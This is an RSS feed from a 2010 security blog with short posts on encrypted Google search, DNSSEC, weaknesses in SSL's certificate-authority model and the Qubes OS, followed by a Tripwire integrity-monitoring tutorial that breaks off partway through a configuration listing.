<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>JCSecurity</title>
	<atom:link href="http://www.jcsecurity.co.uk/?feed=rss2" rel="self" type="application/rss+xml" />
	<link>http://www.jcsecurity.co.uk</link>
	<description>Information Security, Hacking and Cryptography</description>
	<lastBuildDate>Thu, 27 May 2010 11:09:46 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Google to Offer Encrypted Search</title>
		<link>http://www.jcsecurity.co.uk/?p=296</link>
		<comments>http://www.jcsecurity.co.uk/?p=296#comments</comments>
		<pubDate>Sat, 15 May 2010 01:02:55 +0000</pubDate>
		<dc:creator>Jack</dc:creator>
				<category><![CDATA[Internet Security]]></category>
		<category><![CDATA[Network Security]]></category>
		<category><![CDATA[Encryption]]></category>
		<category><![CDATA[Google]]></category>

		<guid isPermaLink="false">http://www.jcsecurity.co.uk/?p=296</guid>
		<description><![CDATA[Google have announced they will start offering encrypted search capabilities over SSL shortly.
&#8220;Earlier this year, we encrypted Gmail for all our users, and next week  we will start offering an encrypted version of Google Search.&#8221;
An interesting feature, searching via HTTPS will be beneficial to users who are after additional privacy from traffic analysis risks. [...]]]></description>
			<content:encoded><![CDATA[<p>Google have <a href="http://googleblog.blogspot.com/2010/05/wifi-data-collection-update.html">announced</a> they will start offering encrypted search capabilities over SSL shortly.</p>
<p style="text-align: center;">&#8220;Earlier this year, we encrypted Gmail for all our users, and next week  we will start offering an encrypted version of Google Search.&#8221;</p>
<p style="text-align: left;">An interesting feature, searching via HTTPS will be beneficial to users who are after additional privacy from traffic analysis risks. For example, protection from employers monitoring company LANs or whilst using public wireless networks. Note, Google will still have all your search records, there&#8217;s no additional privacy gain in that respect <img src='http://www.jcsecurity.co.uk/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p style="text-align: left;">
<p style="text-align: left;">Now running: https://www.google.com</p>
]]></content:encoded>
			<wfw:commentRss>http://www.jcsecurity.co.uk/?feed=rss2&amp;p=296</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Root DNS Servers &amp; DNSSEC</title>
		<link>http://www.jcsecurity.co.uk/?p=293</link>
		<comments>http://www.jcsecurity.co.uk/?p=293#comments</comments>
		<pubDate>Mon, 10 May 2010 17:03:28 +0000</pubDate>
		<dc:creator>Jack</dc:creator>
				<category><![CDATA[Internet Security]]></category>
		<category><![CDATA[Network Security]]></category>
		<category><![CDATA[DNSSEC]]></category>

		<guid isPermaLink="false">http://www.jcsecurity.co.uk/?p=293</guid>
		<description><![CDATA[Just a heads up that all the Internet&#8217;s root DNS servers have now switched over to DNSSEC 100% glitch free so far. Once this propagates down to ISP level support (who knows when this will be, maybe with IPv6&#8230;)  we can finally verify the authenticity of DNS records hence putting an end to cache poisoning [...]]]></description>
			<content:encoded><![CDATA[<p>Just a heads up that all the Internet&#8217;s <a href="http://www.root-dnssec.org/">root DNS servers</a> have now switched over to <a href="http://en.wikipedia.org/wiki/DNSSEC">DNSSEC</a> 100% glitch free so far. Once this propagates down to ISP level support (who knows when this will be, maybe with IPv6&#8230;)  we can finally verify the authenticity of DNS records hence putting an end to cache poisoning attacks and MITM DNS query interception. Steps in the right direction!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.jcsecurity.co.uk/?feed=rss2&amp;p=293</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Why SSL Is a Broken Technology</title>
		<link>http://www.jcsecurity.co.uk/?p=264</link>
		<comments>http://www.jcsecurity.co.uk/?p=264#comments</comments>
		<pubDate>Sun, 18 Apr 2010 18:10:56 +0000</pubDate>
		<dc:creator>Jack</dc:creator>
				<category><![CDATA[Interesting Things]]></category>
		<category><![CDATA[Internet Security]]></category>
		<category><![CDATA[PKI]]></category>
		<category><![CDATA[SSL]]></category>

		<guid isPermaLink="false">http://www.jcsecurity.co.uk/?p=264</guid>
		<description><![CDATA[There have been various stories over the past month adding to why SSL is a broken technology for securing our Internet connections (people have been saying this for years).
Modern web browsers contain many &#8216;root certificates&#8217; these contain the public keys of the various &#8216;trusted&#8217; certificate authorities that your web browser trusts, and in turn, you [...]]]></description>
			<content:encoded><![CDATA[<p>There have been various stories over the past month adding to why SSL is a broken technology for securing our Internet connections (people have been saying this for years).</p>
<p>Modern web browsers contain many &#8216;root certificates&#8217; these contain the public keys of the various &#8216;trusted&#8217; certificate authorities that your web browser trusts, and in turn, you trust. Mozilla Firefox for example trusts a few hundred CAs that you are also obliged to trust (Listed in Preferences-&gt;Advanced-&gt;Encryption-&gt;View Certificates). Incidentally, when a CA has its certificate included in a browser&#8217;s root certificate list, if you visit an SSL website which that CA has signed then it is an auto-trusted connection and you get the nice secure padlock in your browser with no warnings.</p>
<p>Firstly I will highlight some issues that are inherent in a Public Key Infrastructure (which SSL is based on). So xyz.com goes to a CA (that you have blind trust in) to obtain an SSL certificate. If the CA is any good they will run significant background checks to ensure xyz.com and it&#8217;s owners are trusted and that the person applying for the certificate really owns xyz.com. These are some baseline standards you need for this PKI model to be remotely secure.</p>
<p>Now once a certificate has been issued correctly to xyz.com, if that certificate is stolen or leaked then there is a problem because SSL/PKI is traditionally an offline model i.e the CA shouldn&#8217;t have to be online. To counter this a CA will use a &#8216;revocation list&#8217; which is a blacklist of bad certificates. So this list needs to be queried each and everytime an SSL connection is made. This has also been improved with the recent <a href="http://en.wikipedia.org/wiki/Ocsp">Online Certificate Status Protocol</a>, which essentially queries the CA in real time for blacklisted certificates. All this assumes though that CA has been informed that the private certificate of xyz.com has been compromised. What if it has been covertly leaked or stolen with no one aware? Big problem! Is it always in a companies best financial interest to go public when they get badly hacked?</p>
<p>So so far, you are blindly placing trust in some company you&#8217;ve never heard of (because your browser&#8217;s developers trust them) that gets paid to issue certificates to people. And if an SSL private key is stolen and your CA doesn&#8217;t become aware of it then you could easily be victim to a man-in-the middle attack with no warnings what so ever.</p>
<p>Next, onto the more recent and scary stuff! <img src='http://www.jcsecurity.co.uk/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  &#8212;&#8211;&gt; <span id="more-264"></span></p>
<p>In late March, the <a href="http://www.eff.org/deeplinks/2010/03/researchers-reveal-likelihood-governments-fake-ssl">EFF</a> mentioned some concerns about SSL and state agencies.  Of course this seems completely plausible. Most companies have to cooperate with state-level surveillance if requested. It is something that has never really been discussed before though. The fact that a root-trusted CA might be handing out arbitrary certificates is slightly concerning, and essentially bypasses the high-level encryption involved in the connection.</p>
<p>At the end of March, <a href="http://www.betanews.com/article/Security-researcher-Trivially-easy-to-buy-SSL-certificate-for-domain-you-dont-own/1270072287">a study showed</a> it was worryingly easy to purchase an SSL certificate for a domain you don&#8217;t own. This highlights the great background checks that the CAs (whom we trust) do on people who approach them to buy certificates&#8230; Essentially the researchers created an account with a Web Mail provider with a name like ssladmin@&#8230;com then approached a CA (RapidSSL), went through the registration process and had an SSL certificate for that Web Mail domain in 20 minutes! This opens doors to man-in-the-middle attacks with no browser certificate warnings, making the SSL channel encryption useless.</p>
<p>In early April, <a href="http://blogs.zdnet.com/hardware/?p=7942">Mozilla announced</a> there was a root certificate included in Firefox to which they had no idea who owned it. Great! Luckily it turned out to be an old unused one from the RSA security company. If this certificate was owned by a bad guy, any site signed by that CA would be auto trusted by the browser. One would expect Mozilla&#8217;s book keeping to be a little better.</p>
<p>Then of course there is the simple fact that users are often oblivious to security warnings, there is a high probability that if I man-in-the-middle an SSL connection with a fake certificate the user will blindly ignore the invalid certificate warning the browser presents them with.</p>
<p>Certainly, whilst SSL is better than nothing you really do have to wonder what is going on behind the little secure padlock icon whilst doing your &#8220;Secure Browsing&#8221;. Time for something new?</p>
]]></content:encoded>
			<wfw:commentRss>http://www.jcsecurity.co.uk/?feed=rss2&amp;p=264</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Qubes &#8211; New OS with Security via Isolation</title>
		<link>http://www.jcsecurity.co.uk/?p=255</link>
		<comments>http://www.jcsecurity.co.uk/?p=255#comments</comments>
		<pubDate>Wed, 07 Apr 2010 12:43:59 +0000</pubDate>
		<dc:creator>Jack</dc:creator>
				<category><![CDATA[OS Security]]></category>
		<category><![CDATA[Hypervisor]]></category>
		<category><![CDATA[sandboxing]]></category>
		<category><![CDATA[virtualization]]></category>

		<guid isPermaLink="false">http://www.jcsecurity.co.uk/?p=255</guid>
		<description><![CDATA[Joanna Rutkowska, famous for her hypervisor/virtualization security research (bluepill), just blogged  about a new OS they&#8217;ve been working on called Qubes, now at alpha release  (Screenshots).
It is built from Linux and Xen, and the basic concept is that everything (applications, kernel components etc) runs within its own light weight virtual machine, a strong implementation [...]]]></description>
			<content:encoded><![CDATA[<p>Joanna Rutkowska, famous for her hypervisor/virtualization security research (bluepill), <a href="http://theinvisiblethings.blogspot.com/2010/04/introducing-qubes-os.html">just blogged </a> about a new OS they&#8217;ve been working on called <a href="http://qubes-os.org/Home.html">Qubes</a>, now at alpha release  (<a href="http://qubes-os.org/Screenshots.html">Screenshots</a>).</p>
<p>It is built from Linux and Xen, and the basic concept is that everything (applications, kernel components etc) runs within its own light weight virtual machine, a strong implementation of OS level isolation via sandboxing.</p>
<p><img class="aligncenter" title="Architecture" src="http://jcsecurity.co.uk/pics/droppedImage.png" alt="" width="462" height="197" /></p>
<p>That is, assuming the hypervisor isn&#8217;t compromised <img src='http://www.jcsecurity.co.uk/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  Nice concept though, hopefully development will continue and it hit stable sometime in the near future.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.jcsecurity.co.uk/?feed=rss2&amp;p=255</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Linux Hardening &#8211; Tripwire [Intrusion Detection Tutorial]</title>
		<link>http://www.jcsecurity.co.uk/?p=230</link>
		<comments>http://www.jcsecurity.co.uk/?p=230#comments</comments>
		<pubDate>Fri, 02 Apr 2010 13:43:17 +0000</pubDate>
		<dc:creator>Jack</dc:creator>
				<category><![CDATA[Server Security]]></category>
		<category><![CDATA[Tutorial]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Server Hardening]]></category>
		<category><![CDATA[Tripwire]]></category>

		<guid isPermaLink="false">http://www.jcsecurity.co.uk/?p=230</guid>
		<description><![CDATA[Tools Required: Linux, Tripwire
Tools Optional: Sendmail
This is a [longish] guide on how to correctly configure and use Tripwire on Linux to improve the OS security. Tripwire is both an Intrusion Detection System and a great admin tool, there is a commercial version of it here but I will be discussing the open source version hosted [...]]]></description>
			<content:encoded><![CDATA[<p><span style="color: #ff0000;">Tools Required:</span> <a href="http://www.archlinux.org">Linux</a>, <a href="http://sourceforge.net/projects/tripwire/">Tripwire</a><br />
<span style="color: #ff0000;">Tools Optional:</span> <a href="http://www.sendmail.org/">Sendmail</a></p>
<p><span style="color: #000000;">This is a [longish] guide on how to correctly configure and use Tripwire on Linux to improve the OS security. Tripwire is both an Intrusion Detection System and a great admin tool, there is a commercial version of it <a href="http://www.tripwire.org">here</a> but I will be discussing the open source version hosted on Sourceforge.</span></p>
<p>So in short, you give Tripwire a list of files you want to &#8216;protect&#8217; and at configured intervals Tripwire scans these files and will alert you of any changes to them. It essentially monitors the integrity of critical files. Consider the scenario where an attacker breaks into your system, one of his goals will be to enable a means for future access. Lets say he does this in a covert manner by writing a backdoor into your FTP server and recompiling it leaving no visible trace. Tripwire could be configured to watch the FTP daemon files and changing a single bit will course an alert to be raised. Sounds pretty useful right? It is. Im told however that Tripwire sees limited deployment in production servers (can&#8217;t comment if this is true or not though), some reasons for this may be a) It&#8217;s a very paranoid piece of software b) regular file changes can cause an obscene number of false positives.<br />
<span id="more-230"></span><br />
Tripwire works by using a <a href="http://en.wikipedia.org/wiki/Cryptographic_hash_function">cryptographic hash function</a> to generate a checksum of specified files, this checksum goes into a database and that database is encrypted. So even if you get rooted, an attacker shouldn&#8217;t be able to modify the checksum database (key management issues here!). A hash function will take an arbitrary sized input value (a file) and will output a fixed size hash value. A single bit change in the input should reflect a major change in the outputted hash value (<a href="http://en.wikipedia.org/wiki/Avalanche_effect">Avalanche Effect</a>), so they make a pretty good way of detecting a modified file <img src='http://www.jcsecurity.co.uk/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Ok, so this tutorial will configure Tripwire to monitor a system directory and alert if integrity changes. Also, for full effectiveness this should be applied at a fresh install, what&#8217;s the point if your files may already be compromised?</p>
<p>I will assume for this example you have some important FTP server files in <span style="color: #008000;">/root/demoFTP</span>.</p>
<p><span style="color: #ff0000;"><span style="text-decoration: underline;">Installation:</span></span></p>
<p>- Download the Tripwire source &amp; extract</p>
<div class="codecolorer-container bash geshi" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #7a0874; font-weight: bold;">&#91;</span>jack<span style="color: #000000; font-weight: bold;">@</span>tmob Desktop<span style="color: #7a0874; font-weight: bold;">&#93;</span>$ <span style="color: #c20cb9; font-weight: bold;">tar</span> <span style="color: #660033;">-xjf</span> tripwire-2.4.2-src.tar.bz2<br />
<span style="color: #7a0874; font-weight: bold;">&#91;</span>jack<span style="color: #000000; font-weight: bold;">@</span>tmob Desktop<span style="color: #7a0874; font-weight: bold;">&#93;</span>$ <span style="color: #7a0874; font-weight: bold;">cd</span> tripwire-2.4.2-src</div></div>
<p>Next we need to edit the install script slightly, edit the file install/install.cfg we need to disable the use of sendmail and enable smtp instead, if you have sendmail running and configured on your server ignore this step. Changed section should look like this (don&#8217;t worry about a valid server, I wont be covering email alerts here):</p>
<div class="codecolorer-container bash geshi" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #666666; font-style: italic;">#TWMAILMETHOD=SENDMAIL</span><br />
<br />
<span style="color: #007800;">TWMAILMETHOD</span>=SMTP<br />
<span style="color: #007800;">TWSMTPHOST</span>=<span style="color: #ff0000;">&quot;mail.domain.com&quot;</span><br />
<span style="color: #007800;">TWSMTPPORT</span>=<span style="color: #000000;">25</span></div></div>
<p>Now we can configure the build process &amp; compile (edit the install directory to your preference):</p>
<div class="codecolorer-container text geshi" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">[jack@tmob tripwire-2.4.2-src]$ ./configure --prefix=/opt/tripwire<br />
...<br />
[jack@tmob tripwire-2.4.2-src]$ make<br />
...</div></div>
<p>Next is the installation, run &#8216;make install&#8217; as root, as part of this we will need to accept the license agreement and configure some passwords for the database.</p>
<div class="codecolorer-container bash geshi" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;height:300px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #7a0874; font-weight: bold;">&#91;</span>root<span style="color: #000000; font-weight: bold;">@</span>tmob tripwire-2.4.2-src<span style="color: #7a0874; font-weight: bold;">&#93;</span> <span style="color: #c20cb9; font-weight: bold;">make</span> <span style="color: #c20cb9; font-weight: bold;">install</span><br />
Please <span style="color: #7a0874; font-weight: bold;">type</span> <span style="color: #ff0000;">&quot;accept&quot;</span> to indicate your acceptance of this<br />
license agreement. <span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000; font-weight: bold;">do</span> not accept<span style="color: #7a0874; font-weight: bold;">&#93;</span> accept<br />
...<br />
Some verification stuff here<br />
...<br />
Continue with installation? <span style="color: #7a0874; font-weight: bold;">&#91;</span>y<span style="color: #000000; font-weight: bold;">/</span>n<span style="color: #7a0874; font-weight: bold;">&#93;</span> y<br />
...<br />
Creating key files...<br />
<br />
<span style="color: #7a0874; font-weight: bold;">&#40;</span>When selecting a passphrase, keep <span style="color: #000000; font-weight: bold;">in</span> mind that good passphrases typically<br />
have upper and lower <span style="color: #000000; font-weight: bold;">case</span> letters, digits and punctuation marks, and are<br />
at least <span style="color: #000000;">8</span> characters <span style="color: #000000; font-weight: bold;">in</span> length.<span style="color: #7a0874; font-weight: bold;">&#41;</span><br />
<br />
Enter the site keyfile passphrase:<br />
Verify the site keyfile passphrase:<br />
Generating key <span style="color: #7a0874; font-weight: bold;">&#40;</span>this may take several minutes<span style="color: #7a0874; font-weight: bold;">&#41;</span>...Key generation complete.<br />
<br />
<span style="color: #7a0874; font-weight: bold;">&#40;</span>When selecting a passphrase, keep <span style="color: #000000; font-weight: bold;">in</span> mind that good passphrases typically<br />
have upper and lower <span style="color: #000000; font-weight: bold;">case</span> letters, digits and punctuation marks, and are<br />
at least <span style="color: #000000;">8</span> characters <span style="color: #000000; font-weight: bold;">in</span> length.<span style="color: #7a0874; font-weight: bold;">&#41;</span><br />
<br />
Enter the <span style="color: #7a0874; font-weight: bold;">local</span> keyfile passphrase:<br />
Verify the <span style="color: #7a0874; font-weight: bold;">local</span> keyfile passphrase:<br />
Generating key <span style="color: #7a0874; font-weight: bold;">&#40;</span>this may take several minutes<span style="color: #7a0874; font-weight: bold;">&#41;</span>...Key generation complete.<br />
...<br />
The installation succeeded.</div></div>
<p>Ok, so you&#8217;ve just entered 2 (strong) passwords:</p>
<ul>
<li>Site: Secures configuration and policy files</li>
<li>Local: Secures database and report files</li>
</ul>
<p>That&#8217;s the installation all done, it&#8217;s now installed to /opt/tripwire <img src='http://www.jcsecurity.co.uk/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p><span style="color: #ff0000;"><span style="text-decoration: underline;">Configuration</span></span><span style="color: #ff0000;">:</span></p>
<p><span style="color: #ff0000;"><span style="color: #000000;">The main file we are concerned with is the Tripwire policy file: <span style="color: #003366;">/opt/tripwire/etc/twpol.txt</span></span></span></p>
<p><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #003366;"><span style="color: #000000;">Below is my clean, cut down bare essential config for this example (alot of the default comments are left in to explain the syntax. The specific rule for this tutorial is at the bottom.</span></span></span></span></p>
<div class="codecolorer-container ini geshi" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;height:300px;"><div class="ini codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">## Tripwire Policy<br />
<br />
@@section GLOBAL<br />
<span style="color: #000099;">TWDOCS</span><span style="color: #000066; font-weight:bold;">=</span><span style="color: #933;">&quot;/opt/tripwire/doc/tripwire&quot;</span><span style="color: #666666; font-style: italic;">;</span><br />
<span style="color: #000099;">TWBIN</span><span style="color: #000066; font-weight:bold;">=</span><span style="color: #933;">&quot;/opt/tripwire/sbin&quot;</span><span style="color: #666666; font-style: italic;">;</span><br />
<span style="color: #000099;">TWPOL</span><span style="color: #000066; font-weight:bold;">=</span><span style="color: #933;">&quot;/opt/tripwire/etc&quot;</span><span style="color: #666666; font-style: italic;">;</span><br />
<span style="color: #000099;">TWDB</span><span style="color: #000066; font-weight:bold;">=</span><span style="color: #933;">&quot;/opt/tripwire/lib/tripwire&quot;</span><span style="color: #666666; font-style: italic;">;</span><br />
<span style="color: #000099;">TWSKEY</span><span style="color: #000066; font-weight:bold;">=</span><span style="color: #933;">&quot;/opt/tripwire/etc&quot;</span><span style="color: #666666; font-style: italic;">;</span><br />
<span style="color: #000099;">TWLKEY</span><span style="color: #000066; font-weight:bold;">=</span><span style="color: #933;">&quot;/opt/tripwire/etc&quot;</span><span style="color: #666666; font-style: italic;">;</span><br />
<span style="color: #000099;">TWREPORT</span><span style="color: #000066; font-weight:bold;">=</span><span style="color: #933;">&quot;/opt/tripwire/lib/tripwire/report&quot;</span><span style="color: #666666; font-style: italic;">;</span><br />
<span style="color: #000099;">HOSTNAME</span><span style="color: #000066; font-weight:bold;">=</span><span style="color: #660066;">tmob</span><span style="color: #666666; font-style: italic;">;</span><br />
<br />
##############################################################################<br />
# &nbsp;Predefined Variables &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;#<br />
##############################################################################<br />
#<br />
# &nbsp;Property Masks<br />
#<br />
# &nbsp;- &nbsp;ignore the following properties<br />
# &nbsp;+ &nbsp;check the following properties<br />
#<br />
# &nbsp;a &nbsp;access timestamp <span style="">&#40;</span>mutually exclusive with +CMSH<span style="">&#41;</span><br />
# &nbsp;b &nbsp;number of blocks allocated<br />
# &nbsp;c &nbsp;inode creation/modification timestamp<br />
# &nbsp;d &nbsp;ID of device on which inode resides<br />
# &nbsp;g &nbsp;group id of owner<br />
# &nbsp;i &nbsp;inode number<br />
# &nbsp;l &nbsp;growing files <span style="">&#40;</span>logfiles for example<span style="">&#41;</span><br />
# &nbsp;m &nbsp;modification timestamp<br />
# &nbsp;n &nbsp;number of links<br />
# &nbsp;p &nbsp;permission and file mode bits<br />
# &nbsp;r &nbsp;ID of device pointed to by inode <span style="">&#40;</span>valid only for device objects<span style="">&#41;</span><br />
# &nbsp;s &nbsp;file size<br />
# &nbsp;t &nbsp;file type<br />
# &nbsp;u &nbsp;user id of owner<br />
#<br />
# &nbsp;C &nbsp;CRC-<span style="">32</span> hash<br />
# &nbsp;H &nbsp;HAVAL hash<br />
# &nbsp;M &nbsp;MD5 hash<br />
# &nbsp;S &nbsp;SHA hash<br />
#<br />
##############################################################################<br />
<br />
<span style="color: #000099;">Device</span> &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #000066; font-weight:bold;">=</span><span style="color: #660066;"> +pugsdr-intlbamcCMSH </span><span style="color: #666666; font-style: italic;">;</span><br />
<span style="color: #000099;">Dynamic</span> &nbsp; &nbsp; &nbsp; <span style="color: #000066; font-weight:bold;">=</span><span style="color: #660066;"> +pinugtd-srlbamcCMSH </span><span style="color: #666666; font-style: italic;">;</span><br />
<span style="color: #000099;">Growing</span> &nbsp; &nbsp; &nbsp; <span style="color: #000066; font-weight:bold;">=</span><span style="color: #660066;"> +pinugtdl-srbamcCMSH </span><span style="color: #666666; font-style: italic;">;</span><br />
<span style="color: #000099;">IgnoreAll</span> &nbsp; &nbsp; <span style="color: #000066; font-weight:bold;">=</span><span style="color: #660066;"> -pinugtsdrlbamcCMSH </span><span style="color: #666666; font-style: italic;">;</span><br />
<span style="color: #000099;">IgnoreNone</span> &nbsp; &nbsp;<span style="color: #000066; font-weight:bold;">=</span><span style="color: #660066;"> +pinugtsdrbamcCMSH-l </span><span style="color: #666666; font-style: italic;">;</span><br />
<span style="color: #000099;">ReadOnly</span> &nbsp; &nbsp; &nbsp;<span style="color: #000066; font-weight:bold;">=</span><span style="color: #660066;"> +pinugtsdbmCM-rlacSH </span><span style="color: #666666; font-style: italic;">;</span><br />
<span style="color: #000099;">Temporary</span> &nbsp; &nbsp; <span style="color: #000066; font-weight:bold;">=</span><span style="color: #660066;"> +pugt </span><span style="color: #666666; font-style: italic;">;</span><br />
<br />
@@section FS<br />
<br />
########################################<br />
# &nbsp;Tripwire Binaries and Data Files &nbsp; &nbsp;#<br />
########################################<br />
<br />
# Tripwire Binaries<br />
<span style="">&#40;</span><br />
<span style="color: #000099;">rulename</span> <span style="color: #000066; font-weight:bold;">=</span> <span style="color: #933;">&quot;Tripwire Binaries&quot;</span>,<br />
<span style="">&#41;</span><br />
<span style="">&#123;</span><br />
$<span style="">&#40;</span>TWBIN<span style="">&#41;</span>/siggen &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;-&gt; $<span style="">&#40;</span>ReadOnly<span style="">&#41;</span> <span style="color: #666666; font-style: italic;">;</span><br />
$<span style="">&#40;</span>TWBIN<span style="">&#41;</span>/tripwire &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;-&gt; $<span style="">&#40;</span>ReadOnly<span style="">&#41;</span> <span style="color: #666666; font-style: italic;">;</span><br />
$<span style="">&#40;</span>TWBIN<span style="">&#41;</span>/twadmin &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; -&gt; $<span style="">&#40;</span>ReadOnly<span style="">&#41;</span> <span style="color: #666666; font-style: italic;">;</span><br />
$<span style="">&#40;</span>TWBIN<span style="">&#41;</span>/twprint &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;-&gt; $<span style="">&#40;</span>ReadOnly<span style="">&#41;</span> <span style="color: #666666; font-style: italic;">;</span><br />
<span style="">&#125;</span><br />
<br />
# Tripwire Data Files - Configuration Files, Policy Files, Keys, Reports, Databases<br />
<span style="">&#40;</span><br />
<span style="color: #000099;">rulename</span> <span style="color: #000066; font-weight:bold;">=</span> <span style="color: #933;">&quot;Tripwire Data Files&quot;</span>,<br />
<span style="">&#41;</span><br />
<span style="">&#123;</span><br />
# NOTE: We remove the inode attribute because when Tripwire creates a backup,<br />
# it does so by renaming the old file and creating a new one <span style="">&#40;</span>which will<br />
# have a new inode number<span style="">&#41;</span>. &nbsp;Inode is left turned on for keys, which shouldn't<br />
# ever change.<br />
<br />
# NOTE: The first integrity check triggers this rule and each integrity check<br />
# afterward triggers this rule until a database update is run, since the<br />
# database file does not exist before that point.<br />
<br />
$<span style="">&#40;</span>TWDB<span style="">&#41;</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;-&gt; $<span style="">&#40;</span>Dynamic<span style="">&#41;</span> -i <span style="color: #666666; font-style: italic;">;</span><br />
$<span style="">&#40;</span>TWPOL<span style="">&#41;</span>/tw.pol &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;-&gt; $<span style="">&#40;</span>ReadOnly<span style="">&#41;</span> -i <span style="color: #666666; font-style: italic;">;</span><br />
$<span style="">&#40;</span>TWPOL<span style="">&#41;</span>/tw.cfg &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;-&gt; $<span style="">&#40;</span>ReadOnly<span style="">&#41;</span> -i <span style="color: #666666; font-style: italic;">;</span><br />
$<span style="">&#40;</span>TWLKEY<span style="">&#41;</span>/$<span style="">&#40;</span>HOSTNAME<span style="">&#41;</span>-local.key &nbsp; &nbsp; &nbsp;-&gt; $<span style="">&#40;</span>ReadOnly<span style="">&#41;</span> <span style="color: #666666; font-style: italic;">;</span><br />
$<span style="">&#40;</span>TWSKEY<span style="">&#41;</span>/site.key &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; -&gt; $<span style="">&#40;</span>ReadOnly<span style="">&#41;</span> <span style="color: #666666; font-style: italic;">;</span><br />
<br />
# don't scan the individual reports<br />
$<span style="">&#40;</span>TWREPORT<span style="">&#41;</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;-&gt; $<span style="">&#40;</span>Dynamic<span style="">&#41;</span> <span style="">&#40;</span>recurse<span style="color: #000066; font-weight:bold;">=</span><span style="color: #660066;">0<span style="">&#41;</span> </span><span style="color: #666666; font-style: italic;">;</span><br />
<span style="">&#125;</span><br />
<br />
################################################<br />
# &nbsp;JCSecurity Demo &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; #<br />
################################################<br />
<span style="">&#40;</span><br />
<span style="color: #000099;">rulename</span> <span style="color: #000066; font-weight:bold;">=</span> <span style="color: #933;">&quot;FTP Demo Configs&quot;</span>,<br />
<span style="">&#41;</span><br />
<span style="">&#123;</span><br />
/root/demoFTP &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;-&gt; $<span style="">&#40;</span>ReadOnly<span style="">&#41;</span> <span style="">&#40;</span>recurse<span style="color: #000066; font-weight:bold;">=</span><span style="color: #660066;">2<span style="">&#41;</span></span><span style="color: #666666; font-style: italic;">;</span><br />
<span style="">&#125;</span></div></div>
<p>Our rule (there are also included rules for checking the Tripwire configs &amp; binaries):</p>
<div class="codecolorer-container bash geshi" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #666666; font-style: italic;">################################################</span><br />
